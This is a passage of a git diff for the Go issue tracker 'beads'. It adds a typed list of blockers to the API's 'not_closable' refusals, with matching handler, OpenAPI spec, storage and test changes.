refused\nstdout:\n%s", id, stdout) + } + var report struct { + Failed []struct { + ID string `json:"id"` + Error string `json:"error"` + } `json:"failed"` + } + line := lastJSONObjectLine(stderr) + if jsonErr := json.Unmarshal([]byte(line), &report); jsonErr != nil || len(report.Failed) != 1 || report.Failed[0].ID != id { + t.Fatalf("bd close %s failure report = %+v (%v)\nstderr:\n%s", id, report, jsonErr, stderr) + } + return report.Failed[0].Error +} + // bdProxiedCloseOneRaw runs `bd close --json` and decodes the one item it // reports as a generic object rather than into types.Issue: the parity oracle // compares the JSON both surfaces actually emit, and decoding through the diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index ba640cb66..1b3b3ca0d 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -815,6 +815,18 @@ type BatchCreateResponse struct { Items []Issue `json:"items"` } +// Blocker One live blocker named by a blocked-issue refusal. +type Blocker struct { + // Id The blocker: a local issue id, or the full `external::` reference. + Id string `json:"id"` + + // Kind `local` for an issue this database holds, which clears when it closes; `external` for an `external:` reference, which clears when the named project ships the capability. The set may grow; default-branch on unknown values. + Kind string `json:"kind"` + + // Type The blocking edge's dependency type (`blocks`, `waits-for`, `conditional-blocks`). ABSENT when the refusal did not report it, which is the case for an `external:` blocker. + Type *string `json:"type,omitempty"` +} + // BlockingAnnotations The blocking decoration of the named issues. It is NOT a page: this operation has no limit and no cursor, because the number of issues asked about is what bounds it. type BlockingAnnotations struct { // Items One entry per DISTINCT requested id, in the order the request first named it — so a client can zip this against the ids it sent. Empty array (never null) when the request named none. @@ -917,6 +929,9 @@ type CloseOutcome struct { // A BATCH WHOSE ITEMS ARE ALL `true` LANDED NOTHING, and records no history entry: a per-item success that changed nothing is not work the caller did. AlreadyClosed *bool `json:"already_closed,omitempty"` + // Blockers With `not_closable` on the live-blocker refusal: the blockers that refused THIS item, exactly as `Problem.blockers` carries them for the single close, and optional for the same reason. Absent on a successful item and on every other refusal. + Blockers *[]Blocker `json:"blockers,omitempty"` + // Code This item's refusal, from `Problem.code`'s vocabulary and restricted to `not_found` (the id names no row in either plane) and `not_closable` (close policy refused it: open children, or a live blocker — see `open_children`). ABSENT means the item succeeded. // // It is the problem vocabulary rather than a second one because an item refusal and a request refusal are the same question asked at two scopes, and a client that had to learn two vocabularies to classify one condition would be classifying the SCOPE rather than the condition. @@ -1480,6 +1495,13 @@ type Problem struct { // BlockerIsAncestor With `dependency_cycle`, hierarchy refusal only: true when `blocker_id` is an ANCESTOR of `issue_id` (which cannot close until its descendants finish, so the gate would never clear), false when it is a DESCENDANT (blocked status cascades, so it would inherit the block and never close). Both polarities are reported; this member is never omitted to mean false. See `issue_id`. BlockerIsAncestor *bool `json:"blocker_is_ancestor,omitempty"` + // Blockers With `not_closable`, and ONLY on the live-blocker refusal: the live blockers that refused the close, in the order the refusing check reported them, read from the refusal's typed list rather than parsed out of any message. Never present together with `open_children`. + // + // A client renders the direct CLI's sentence from it: `cannot close blocked issue: is blocked by [ …]`, each blocker spelled `id` when its `type` is absent or `blocks` and `id (type)` otherwise — the sentence `detail` already begins with when this member is present. + // + // IT IS OPTIONAL. A refusal that could not name its blockers omits it and keeps the generic `detail`; absence means "this refusal did not name them", never "nothing blocks it". Re-read the issue's dependencies then. + Blockers *[]Blocker `json:"blockers,omitempty"` + // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). Code string `json:"code"` @@ -1539,7 +1561,7 @@ type Problem struct { // OpenChildren With `not_closable`: how many open children the transaction that refused the close observed, read inside that transaction rather than parsed out of `detail`. // - // PRESENT ONLY for the open-children refusal. The other `not_closable` refusal is a live blocker and carries no such member, so member presence — not prose — is how a client tells the two apart. Both are bypassed by `force`. + // PRESENT ONLY for the open-children refusal. The other `not_closable` refusal is a live blocker and carries `blockers` instead, so member presence — not prose — is how a client tells the two apart. Both are bypassed by `force`. OpenChildren *int `json:"open_children,omitempty"` // Param With `invalid_argument`: the offending query parameter, body member or header name. Present on every 400 except a body that fails to parse at all. diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index f1558775b..07506c59c 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -974,8 +974,8 @@ func (s *Server) failApplyBatch(w http.ResponseWriter, r *http.Request, request s.fail(w, r, res) case errors.Is(err, issueops.ErrCloseBlocked): - s.fail(w, r, at(newResult(CodeNotClosable, - "an item closes a blocked issue; clear the blocker, or send the item's force flag"), "")) + s.fail(w, r, at(closeBlockedResult(err, + "an item closes a blocked issue", "clear the blocker, or send the item's force flag"), "")) case errors.Is(err, storage.ErrAlreadyClaimed): res := at(newResult(CodeAlreadyClaimed, diff --git a/internal/httpapi/batch_apply_test.go b/internal/httpapi/batch_apply_test.go index 52b6db015..b9446890e 100644 --- a/internal/httpapi/batch_apply_test.go +++ b/internal/httpapi/batch_apply_test.go @@ -893,6 +893,31 @@ func TestApplyBatchMapsTheRolesTypedRefusalsOntoTheDocumentedCodes(t *testing.T) // branch is driven rather than assumed. var errUnmapped = fmt.Errorf("a failure this mapping has never seen") +// TestApplyBatchNamesTheBlockersOfARefusedClose: the all-or-nothing plan has no +// per-item result array to carry the refusal in, so the problem document names +// the offending item AND its blockers, from the same typed list the single +// close publishes. +func TestApplyBatchNamesTheBlockersOfARefusedClose(t *testing.T) { + applier := &roleBatchApplier{err: itemErr(0, issueops.ItemClose, "", "bd-1", blockedCloseFixture())} + ts := newApplyBatchServer(t, applier) + + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[{"kind":"create","create":{"title":"one"}}]}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeNotClosable) { + t.Errorf("code = %v, want %s", body["code"], CodeNotClosable) + } + if body["item_index"] != float64(0) { + t.Errorf("item_index = %v, want 0", body["item_index"]) + } + assertBlockersMember(t, "problem", body["blockers"]) + if want := blockedCloseSentence + "; clear the blocker, or send the item's force flag"; body["detail"] != want { + t.Errorf("detail = %q, want %q", body["detail"], want) + } +} + // TestApplyBatchCarriesTheHierarchyMembersOnlyOnTheHierarchyRefusal pins the // discriminator inside `dependency_cycle`: member PRESENCE tells a plain // scheduling cycle from the hierarchy case, exactly as it does on diff --git a/internal/httpapi/batch_close.go b/internal/httpapi/batch_close.go index 02b331ecd..9fb4cc02b 100644 --- a/internal/httpapi/batch_close.go +++ b/internal/httpapi/batch_close.go @@ -94,7 +94,9 @@ func (s *Server) handleBatchClose(w http.ResponseWriter, r *http.Request) { // on this surface follows, applied one scope down. `open_children` comes from // *issueops.CloseOpenChildrenError's own field, filled inside the transaction // that refused, and its ABSENCE is what tells a client the other not_closable -// refusal (a live blocker) apart from this one. +// refusal (a live blocker) apart from this one. That refusal's `blockers` come +// from *issueops.BlockedError's typed list, the same member the single close +// carries. // // AN UNRECOGNIZED ITEM ERROR IS NOT SILENTLY DROPPED. The role documents three // refusals and this maps three; anything else becomes a `not_closable` carrying @@ -128,8 +130,10 @@ func closeOutcome(outcome issueops.CloseOutcome) apigen.CloseOutcome { case errors.Is(outcome.Err, issueops.ErrCloseBlocked): // No `open_children`, and its ABSENCE is what tells a client which of - // the two close-policy refusals this item got. - code, detail = CodeNotClosable, "this issue is blocked; clear the blocker, or send `force`" + // the two close-policy refusals this item got. The blockers travel as + // the single close's do, so a client names them per item. + code = CodeNotClosable + detail, wire.Blockers = closeBlocked(outcome.Err, "this issue is blocked", "clear the blocker, or send `force`") case errors.Is(outcome.Err, storage.ErrNotFound): code, detail = CodeNotFound, "no issue with this id in either plane" diff --git a/internal/httpapi/batch_close_test.go b/internal/httpapi/batch_close_test.go index 43c67c9b0..9243f97f2 100644 --- a/internal/httpapi/batch_close_test.go +++ b/internal/httpapi/batch_close_test.go @@ -189,6 +189,50 @@ func TestBatchCloseReportsItemRefusalsInsideTheBody(t *testing.T) { } } +// TestBatchCloseNamesEachRefusedItemsBlockers is the per-item twin of +// TestCloseBlockedNamesItsBlockers: `bd close a b c` over HTTP must be able to +// say which issues hold EACH refused item, exactly as the single close does, +// and only the item whose refusal carried the typed list gets the member. +func TestBatchCloseNamesEachRefusedItemsBlockers(t *testing.T) { + closer := &roleBatchCloser{result: issueops.CloseBatchResult{Outcomes: []issueops.CloseOutcome{ + {IssueID: "bd-0", Issue: closedIssue("bd-0"), Changed: true}, + {IssueID: "bd-1", Err: fmt.Errorf("close bd-1: %w", blockedCloseFixture())}, + {IssueID: "bd-untyped", Err: fmt.Errorf("%w: bd-untyped is blocked by [bd-2]", issueops.ErrCloseBlocked)}, + {IssueID: "bd-parent", Err: &issueops.CloseOpenChildrenError{IssueID: "bd-parent", OpenChildren: 2}}, + }}} + ts := newBatchCloseServer(t, closer) + + resp := ts.batchClose(t, `{"actor":"alice","items":[{"id":"bd-0"},{"id":"bd-1"},{"id":"bd-untyped"},{"id":"bd-parent"}]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + outcomes := outcomesOf(t, resp) + if len(outcomes) != 4 { + t.Fatalf("outcomes = %v, want four", outcomes) + } + + blocked := outcomes[1] + if blocked["code"] != string(CodeNotClosable) { + t.Errorf("outcomes[1].code = %v, want %s", blocked["code"], CodeNotClosable) + } + assertBlockersMember(t, "outcomes[1]", blocked["blockers"]) + if want := blockedCloseSentence + "; clear the blocker, or send `force`"; blocked["detail"] != want { + t.Errorf("outcomes[1].detail = %q, want %q", blocked["detail"], want) + } + if _, present := blocked["open_children"]; present { + t.Errorf("outcomes[1] carries open_children on the blocker refusal: %v", blocked) + } + + for _, index := range []int{0, 2, 3} { + if got, present := outcomes[index]["blockers"]; present { + t.Errorf("outcomes[%d] carries blockers=%v; only a typed live-blocker refusal names them", index, got) + } + } + if want := "this issue is blocked; clear the blocker, or send `force`"; outcomes[2]["detail"] != want { + t.Errorf("outcomes[2].detail = %q, want the generic %q", outcomes[2]["detail"], want) + } +} + // TestBatchCloseDoesNotReportAnUnknownItemErrorAsSuccess is the projection's // fail-closed arm. The role documents three item refusals; anything else must // still arrive as a REFUSAL, because the alternative shape — a success carrying diff --git a/internal/httpapi/close.go b/internal/httpapi/close.go index ea466dc57..0c1549029 100644 --- a/internal/httpapi/close.go +++ b/internal/httpapi/close.go @@ -236,8 +236,9 @@ func (s *Server) booleanMember(w http.ResponseWriter, r *http.Request, members m // classification is what a client adopting this endpoint gets to delete, and it // can only delete it if the server never does it either. // -// The live-blocker refusal shares the code and carries NO member, which is what -// makes member presence the discriminator the document promises. +// The live-blocker refusal shares the code and carries no `open_children`, +// which is what makes member presence the discriminator the document promises. +// It takes ClassifyError's arm, which attaches the typed `blockers` list. func (s *Server) failClose(w http.ResponseWriter, r *http.Request, request issueops.CloseRequest, err error) { if errors.Is(err, issueops.ErrVersionMismatch) { s.fail(w, r, versionPreconditionResult(request.ExpectedVersion)) diff --git a/internal/httpapi/close_test.go b/internal/httpapi/close_test.go index 159c60358..b0cfdfc97 100644 --- a/internal/httpapi/close_test.go +++ b/internal/httpapi/close_test.go @@ -170,6 +170,92 @@ func TestCloseBlockedIsTheSameCodeWithoutTheCount(t *testing.T) { } } +// blockedCloseFixture is the typed refusal a store raises for bd-1 when a local +// `blocks` edge, a local `waits-for` edge and an unsatisfied `external:` +// reference all hold it — built by the same constructor the external guard +// uses, over the []string spelling IsBlocked reports. +func blockedCloseFixture() *issueops.BlockedError { + return issueops.NewCloseBlockedError("bd-1", []string{"bd-2", "bd-3 (waits-for)", "external:remote:payments"}) +} + +// blockedCloseSentence is what the direct route prints for that refusal before +// its --force hint (closeDirectRefusal), and what `failed[].error` carries on +// both CLI routes. It is transcribed rather than derived so a change to either +// side's spelling fails here. +const blockedCloseSentence = "cannot close blocked issue: bd-1 is blocked by [bd-2 bd-3 (waits-for) external:remote:payments]" + +// blockedCloseWire is the `blockers` member the fixture must travel as: every +// blocker in the check's order, local ones with their edge type, and the +// external one with `kind` external and no `type`, because the guard that +// named it did not report one. +const blockedCloseWire = `[{"id":"bd-2","kind":"local","type":"blocks"},` + + `{"id":"bd-3","kind":"local","type":"waits-for"},` + + `{"id":"external:remote:payments","kind":"external"}]` + +// assertBlockersMember checks a decoded `blockers` member against +// blockedCloseWire, comparing re-encoded JSON so member order inside each +// object does not matter and a missing or extra member does. +func assertBlockersMember(t *testing.T, where string, member any) { + t.Helper() + if member == nil { + t.Fatalf("%s carries no blockers member; the typed refusal named three", where) + } + got, err := json.Marshal(member) + if err != nil { + t.Fatalf("re-encode %s blockers: %v", where, err) + } + if string(got) != blockedCloseWire { + t.Errorf("%s blockers = %s, want %s", where, got, blockedCloseWire) + } +} + +// TestCloseBlockedNamesItsBlockers is the reason the live-blocker refusal is no +// longer anonymous: a client must be able to say WHICH issues hold the close, +// as the direct CLI does, without parsing prose. The list is the typed one the +// refusing check filled, and `detail` opens with the direct route's sentence +// built from it. +func TestCloseBlockedNamesItsBlockers(t *testing.T) { + lifecycle := &roleLifecycle{closeErr: fmt.Errorf("close bd-1: %w", blockedCloseFixture())} + ts := newCloseServer(t, lifecycle) + + resp := ts.closeIssue(t, closePath, `{"actor":"alice"}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeNotClosable) { + t.Errorf("code = %v, want %s", body["code"], CodeNotClosable) + } + if _, present := body["open_children"]; present { + t.Errorf("the blocker refusal reported open_children: %v", body) + } + assertBlockersMember(t, "problem", body["blockers"]) + if want := blockedCloseSentence + "; clear the blocker or close with force"; body["detail"] != want { + t.Errorf("detail = %q, want %q", body["detail"], want) + } +} + +// TestCloseBlockedWithoutTheTypedListNamesNobody is the other side of the rule: +// an error that only MENTIONS blockers in its message carries no member and the +// generic detail, because the member is read from the typed list and never +// scraped from prose. +func TestCloseBlockedWithoutTheTypedListNamesNobody(t *testing.T) { + lifecycle := &roleLifecycle{closeErr: fmt.Errorf("%w: bd-1 is blocked by [bd-2]", issueops.ErrCloseBlocked)} + ts := newCloseServer(t, lifecycle) + + resp := ts.closeIssue(t, closePath, `{"actor":"alice"}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if got, present := body["blockers"]; present { + t.Errorf("blockers = %v; it was scraped from the message rather than read from the typed list", got) + } + if want := "issue is blocked; clear the blocker or close with force"; body["detail"] != want { + t.Errorf("detail = %q, want the generic %q", body["detail"], want) + } +} + // TestCloseUnknownIDIs404 keeps the miss on the shape the document already // describes rather than inventing one for this operation. func TestCloseUnknownIDIs404(t *testing.T) { diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index 4ae319907..c213de63a 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -117,7 +117,9 @@ const ( // children, or a live blocker. The open-children refusal carries the count // in the `open_children` extension member, read inside the refusing // transaction — never parsed out of the sentinel's message text — and its - // PRESENCE is how a client tells the two refusals apart without prose. + // PRESENCE is how a client tells the two refusals apart without prose. The + // live-blocker refusal names its blockers in the `blockers` member, from + // *issueops.BlockedError's typed list (see closeBlocked). // // A 409 rather than the delete precedent's 400: this is a statement about // the current state of one named resource, so the same request succeeds or @@ -1056,6 +1058,69 @@ func (r Result) WithOpenChildren(n int) Result { return r } +// Blocker kinds on the wire, the `kind` member of apigen.Blocker. +const ( + blockerKindLocal = "local" + blockerKindExternal = "external" +) + +// closeBlocked builds the live-blocker `not_closable` for one refusal site. +// +// subject and hint are the site's own words ("… closes a blocked issue", +// "clear the blocker, or send …"). When err carries the typed +// *issueops.BlockedError the refusing check filled, the subject is replaced by +// that error's own sentence — "cannot close blocked issue: is blocked by +// []", byte-identical to what the direct CLI prints before its +// --force hint — and the list travels typed in the `blockers` member. Both are +// built from the typed fields, never parsed out of a message: an error that +// only MENTIONS blockers in prose keeps the generic detail and no member. +func closeBlocked(err error, subject, hint string) (string, *[]apigen.Blocker) { + blocked := closeBlockedError(err) + if blocked == nil { + return subject + "; " + hint, nil + } + return blocked.Error() + "; " + hint, wireBlockers(blocked.Blockers) +} + +// closeBlockedError returns the typed close-policy refusal err carries, or nil +// when it carries none or names no blockers. The wrapped sentinel is checked +// too, so a BlockedError raised for some other refusal is never reported as a +// close's blockers. +func closeBlockedError(err error) *issueops.BlockedError { + var blocked *issueops.BlockedError + if !errors.As(err, &blocked) || !errors.Is(blocked.Err, issueops.ErrCloseBlocked) || len(blocked.Blockers) == 0 { + return nil + } + return blocked +} + +// wireBlockers projects typed blockers onto the `blockers` member, in the +// order the refusing check reported them. `type` is omitted, not sent empty, +// when the refusal did not report the edge type. +func wireBlockers(blockers []issueops.Blocker) *[]apigen.Blocker { + out := make([]apigen.Blocker, 0, len(blockers)) + for _, blocker := range blockers { + wire := apigen.Blocker{Id: blocker.ID, Kind: blockerKindLocal} + if blocker.External() { + wire.Kind = blockerKindExternal + } + if blocker.Type != "" { + wire.Type = ptrTo(string(blocker.Type)) + } + out = append(out, wire) + } + return &out +} + +// closeBlockedResult is closeBlocked as a problem document: the live-blocker +// `not_closable` with its `blockers` member when the refusal named them. +func closeBlockedResult(err error, subject, hint string) Result { + detail, blockers := closeBlocked(err, subject, hint) + res := newResult(CodeNotClosable, detail) + res.Problem.Blockers = blockers + return res +} + // WithDependencyTypeConflict attaches the two `dependency_exists` extension // members: the type the pair already carries and the type the request asked // for. Populate them from *issueops.DependencyTypeConflictError's fields — the @@ -1395,7 +1460,7 @@ func ClassifyError(err error) Result { return newResult(CodeNotClosable, "issue has open children; close them first or close with force") case errors.Is(err, issueops.ErrCloseBlocked): - return newResult(CodeNotClosable, "issue is blocked; clear the blocker or close with force") + return closeBlockedResult(err, "issue is blocked", "clear the blocker or close with force") case errors.Is(err, ErrBusy): res := newResult(CodeBusy, "") diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 85e55bb1c..dca0c8526 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -2388,8 +2388,8 @@ paths: `not_closable` is close policy refusing a `patch.status` that crosses into the workspace's done category: open children, or a live blocker. `open_children` is attached for the first and withheld for - the second, so member presence tells them apart. - `force_close_policy` is the bypass. + the second, so member presence tells them apart; the second names + its blockers in `blockers`. `force_close_policy` is the bypass. `already_claimed` with `param: "patch.assignee"` is the assignee @@ -3049,9 +3049,10 @@ paths: An unforced close is refused with `409` / `not_closable` when the issue has open children (the refusal carries `open_children`, the count the - refusing transaction observed) or a live blocker (no such member). The - MEMBER'S PRESENCE is the discriminator, so telling the two apart never - requires reading `detail`. Both refusals are the ROLE's, so `force` + refusing transaction observed) or a live blocker (no `open_children`; + the blockers themselves travel in `blockers`). The MEMBER'S PRESENCE is + the discriminator, so telling the two apart never requires reading + `detail`. Both refusals are the ROLE's, so `force` bypasses those two and nothing else — this endpoint cannot skip a guard by forgetting one exists. @@ -3142,7 +3143,8 @@ paths: `not_closable`: close policy refused an unforced close — the issue has open children, carrying the `open_children` extension member, or - a live blocker, which carries none. Resend with `force: true` to + a live blocker, which carries no count and names the blockers in + `blockers`. Resend with `force: true` to bypass both. `force` does NOT bypass the guard above. @@ -3991,9 +3993,9 @@ paths: `not_closable` is close policy refusing a `close` item, or an `update` whose `patch.status` crosses into the workspace's done - category: open children, or a live blocker. `close.force` and - `update.force_close_policy` are the per-item bypasses, and a forced - item never earns this. + category: open children (`open_children`), or a live blocker + (`blockers`). `close.force` and `update.force_close_policy` are the + per-item bypasses, and a forced item never earns this. `already_claimed` is the assignee fence: an `update` whose @@ -10025,6 +10027,15 @@ components: PRESENCE is the discriminator between the two `not_closable` refusals, exactly as it is on a problem document: present means open children, absent means a live blocker. + blockers: + type: array + items: + $ref: '#/components/schemas/Blocker' + description: >- + With `not_closable` on the live-blocker refusal: the blockers that + refused THIS item, exactly as `Problem.blockers` carries them for + the single close, and optional for the same reason. Absent on a + successful item and on every other refusal. code: type: string description: >- @@ -10046,6 +10057,31 @@ components: `code`. It reflects the request and this server's own words rather than the role's message, for the reason `Problem.detail` gives. + Blocker: + type: object + required: [id, kind] + description: >- + One live blocker named by a blocked-issue refusal. + properties: + id: + type: string + description: >- + The blocker: a local issue id, or the full + `external::` reference. + kind: + type: string + description: >- + `local` for an issue this database holds, which clears when it + closes; `external` for an `external:` reference, which clears when + the named project ships the capability. The set may grow; + default-branch on unknown values. + type: + type: string + description: >- + The blocking edge's dependency type (`blocks`, `waits-for`, + `conditional-blocks`). ABSENT when the refusal did not report it, + which is the case for an `external:` blocker. + CloseIssueRequest: type: object additionalProperties: false @@ -11076,9 +11112,32 @@ components: PRESENT ONLY for the open-children refusal. The other - `not_closable` refusal is a live blocker and carries no such - member, so member presence — not prose — is how a client tells the + `not_closable` refusal is a live blocker and carries `blockers` + instead, so member presence — not prose — is how a client tells the two apart. Both are bypassed by `force`. + blockers: + type: array + items: + $ref: '#/components/schemas/Blocker' + description: >- + With `not_closable`, and ONLY on the live-blocker refusal: the live + blockers that refused the close, in the order the refusing check + reported them, read from the refusal's typed list rather than + parsed out of any message. Never present together with + `open_children`. + + + A client renders the direct CLI's sentence from it: `cannot close + blocked issue: is blocked by [ …]`, each blocker + spelled `id` when its `type` is absent or `blocks` and `id (type)` + otherwise — the sentence `detail` already begins with when this + member is present. + + + IT IS OPTIONAL. A refusal that could not name its blockers omits + it and keeps the generic `detail`; absence means "this refusal did + not name them", never "nothing blocks it". Re-read the issue's + dependencies then. existing_type: type: string description: >- diff --git a/internal/httpapi/update.go b/internal/httpapi/update.go index 2cd504db9..027183599 100644 --- a/internal/httpapi/update.go +++ b/internal/httpapi/update.go @@ -572,8 +572,8 @@ func (s *Server) failUpdate(w http.ResponseWriter, r *http.Request, request issu case errors.Is(err, issueops.ErrCloseBlocked): // No `open_children` member, and its ABSENCE is what tells a client // which of the two close-policy refusals it got. - s.fail(w, r, named(newResult(CodeNotClosable, - "`patch.status` closes a blocked issue; clear the blocker, or send `force_close_policy`"), + s.fail(w, r, named(closeBlockedResult(err, + "`patch.status` closes a blocked issue", "clear the blocker, or send `force_close_policy`"), patchParam("status"))) case errors.Is(err, storage.ErrAlreadyClaimed): diff --git a/internal/httpapi/update_test.go b/internal/httpapi/update_test.go index 975a89572..521b4e9e4 100644 --- a/internal/httpapi/update_test.go +++ b/internal/httpapi/update_test.go @@ -895,6 +895,23 @@ func TestUpdateAnswersThePolicyRefusalsItsMembersEarned(t *testing.T) { } }, }, + { + name: "status crossing with a typed live blocker names it", + body: `{"actor":"alice","patch":{"status":"closed"}}`, + err: fmt.Errorf("close: %w", blockedCloseFixture()), + wantStatus: http.StatusConflict, + wantCode: CodeNotClosable, + wantParam: "patch.status", + check: func(t *testing.T, body map[string]any) { + assertBlockersMember(t, "problem", body["blockers"]) + if want := blockedCloseSentence + "; clear the blocker, or send `force_close_policy`"; body["detail"] != want { + t.Errorf("detail = %q, want %q", body["detail"], want) + } + if _, present := body["open_children"]; present { + t.Error("open_children is present on the blocker refusal") + } + }, + }, { name: "assignee transfer off a live owner", body: `{"actor":"alice","patch":{"assignee":"carol"}}`, diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index 073162923..da2460a55 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -116,6 +116,7 @@ go_test( "//internal/storage/sqlbuild", "//internal/testutil", "//internal/types", + "//issueops", "@com_github_data_dog_go_sqlmock//:go-sqlmock", "@com_github_go_sql_driver_mysql//:mysql", "@com_github_google_uuid//:uuid", diff --git a/internal/storage/domain/db/close_checked_usecase_test.go b/internal/storage/domain/db/close_checked_usecase_test.go index f223d851a..a42828085 100644 --- a/internal/storage/domain/db/close_checked_usecase_test.go +++ b/internal/storage/domain/db/close_checked_usecase_test.go @@ -6,6 +6,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/domain" "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) func (s *testSuite) TestIssueUseCase_CloseIssueChecked() { @@ -82,6 +83,13 @@ func (s *testSuite) uccCloseCheckedDirectBlockerRefuses() { s.True(errors.Is(err, storage.ErrCloseBlocked), "refusal must carry the shared sentinel") s.ErrorContains(err, "is blocked by") s.ErrorContains(err, "bd-ucc-clc-tgt", "message must name the live blocker") + // The list is typed as well as printed, so the HTTP surface can publish it + // without parsing the sentence, and the sentence is unchanged. + var blocked *publicops.BlockedError + s.Require().True(errors.As(err, &blocked), "refusal must carry *BlockedError: %v", err) + s.Equal("bd-ucc-clc-src", blocked.IssueID) + s.Equal([]publicops.Blocker{{ID: "bd-ucc-clc-tgt", Type: types.DepBlocks}}, blocked.Blockers) + s.Equal("cannot close blocked issue: bd-ucc-clc-src is blocked by [bd-ucc-clc-tgt]", blocked.Error()) s.False(res.Closed) // The refused issue stays open. diff --git a/internal/storage/externaldeps/decorator.go b/internal/storage/externaldeps/decorator.go index 721974eeb..e475f0152 100644 --- a/internal/storage/externaldeps/decorator.go +++ b/internal/storage/externaldeps/decorator.go @@ -92,7 +92,7 @@ func (s *Store) guardExternalClose(ctx context.Context, id string, force bool) e return err } if blockers := state.refsByIssue[id]; len(blockers) > 0 { - return fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, id, blockers) + return publicops.NewCloseBlockedError(id, blockers) } return nil } @@ -471,7 +471,7 @@ func (s *Store) CloseIssueChecked(ctx context.Context, issueID, actor string, op return storage.CloseIssueResult{}, err } if blocked && len(blockers) > 0 { - return storage.CloseIssueResult{}, fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, issueID, blockers) + return storage.CloseIssueResult{}, publicops.NewCloseBlockedError(issueID, blockers) } } } diff --git a/internal/storage/externaldeps/decorator_test.go b/internal/storage/externaldeps/decorator_test.go index a5231ec11..e079d5f18 100644 --- a/internal/storage/externaldeps/decorator_test.go +++ b/internal/storage/externaldeps/decorator_test.go @@ -499,9 +499,11 @@ func TestIssueLifecycleRefusesExternalCloseAndDoneUpdate(t *testing.T) { if err != nil { t.Fatalf("IssueLifecycle: %v", err) } - if _, err := ops.Close(t.Context(), publicops.CloseRequest{IssueID: issue.ID}); !errors.Is(err, storage.ErrCloseBlocked) { + _, err = ops.Close(t.Context(), publicops.CloseRequest{IssueID: issue.ID}) + if !errors.Is(err, storage.ErrCloseBlocked) { t.Fatalf("Close error = %v, want ErrCloseBlocked", err) } + assertExternalCloseBlockers(t, err, issue.ID, "external:remote:payments") if _, err := ops.Update(t.Context(), publicops.UpdateRequest{IssueID: issue.ID, Patch: publicops.IssuePatch{ Status: publicops.Field[types.Status]{Set: true, Value: types.StatusClosed}, }}); !errors.Is(err, storage.ErrCloseBlocked) { @@ -592,9 +594,11 @@ func TestCloseIssueCheckedRefusesUnsatisfiedExternalRef(t *testing.T) { }} store := testStore(raw, &fakeStore{}, true) - if _, err := store.CloseIssueChecked(t.Context(), a.ID, "tester", storage.CloseIssueOptions{}); !errors.Is(err, storage.ErrCloseBlocked) { + _, err := store.CloseIssueChecked(t.Context(), a.ID, "tester", storage.CloseIssueOptions{}) + if !errors.Is(err, storage.ErrCloseBlocked) { t.Fatalf("CloseIssueChecked error = %v, want ErrCloseBlocked", err) } + assertExternalCloseBlockers(t, err, a.ID, ref) if len(raw.closed) != 0 { t.Fatalf("raw close calls = %v, want none", raw.closed) } @@ -675,3 +679,21 @@ func issueIDs(issues []*types.Issue) []string { } return ids } + +// assertExternalCloseBlockers checks that an external close refusal carries the +// typed blocker list — the unsatisfied reference, as an external blocker with no +// reported edge type — and still spells the historical sentence. +func assertExternalCloseBlockers(t *testing.T, err error, issueID, ref string) { + t.Helper() + var blocked *publicops.BlockedError + if !errors.As(err, &blocked) { + t.Fatalf("close refusal %v carries no *BlockedError", err) + } + want := []publicops.Blocker{{ID: ref}} + if blocked.IssueID != issueID || !slices.Equal(blocked.Blockers, want) || !blocked.Blockers[0].External() { + t.Errorf("BlockedError = %+v, want issue %s blocked by %+v (external)", blocked, issueID, want) + } + if wantText := "cannot close blocked issue: " + issueID + " is blocked by [" + ref + "]"; err.Error() != wantText { + t.Errorf("refusal = %q, want %q", err.Error(), wantText) + } +} diff --git a/internal/storage/externaldeps/uow_decorator.go b/internal/storage/externaldeps/uow_decorator.go index 7dd2f9a45..8721bb461 100644 --- a/internal/storage/externaldeps/uow_decorator.go +++ b/internal/storage/externaldeps/uow_decorator.go @@ -379,7 +379,7 @@ func (u *issueUseCase) guardExternalClose(ctx context.Context, id string, force return fmt.Errorf("external dependencies: %w", err) } if blockers := state.refsByIssue[id]; len(blockers) > 0 { - return fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, id, blockers) + return publicops.NewCloseBlockedError(id, blockers) } return nil } diff --git a/internal/storage/externaldeps/uow_decorator_test.go 